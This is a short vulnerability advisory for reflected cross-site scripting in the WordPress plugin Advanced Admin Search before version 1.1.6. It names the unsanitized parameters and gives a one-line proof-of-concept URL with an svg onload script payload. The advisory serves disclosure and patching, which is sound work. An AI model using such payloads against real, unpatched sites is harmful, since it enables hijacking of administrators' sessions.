WordPress Plugin Vulnerabilities
Advanced Admin Search < 1.1.6 - Reflected Cross-Site Scripting
Description
The plugin does not sanitize and escape some parameters before outputting them back in an admin page, leading to a Reflected Cross-Site Scripting.
Proof of Concept
Affected parameters: keyword, user, metaKey, and metaValue https://example.com/wp-admin/admin.php?page=advanced-admin-search&keyword="><svg/onload=alert(/XSS/)>
Affects Plugins
Fixed in version 1.1.6
References
Classification
Miscellaneous
Original Researcher
Ran Crane
Submitter
Ran Crane
Verified
Yes
Timeline
Publicly Published
2022-05-17 (about 6 months ago)
Added
2022-05-17 (about 6 months ago)
Last Updated
2022-06-15 (about 5 months ago)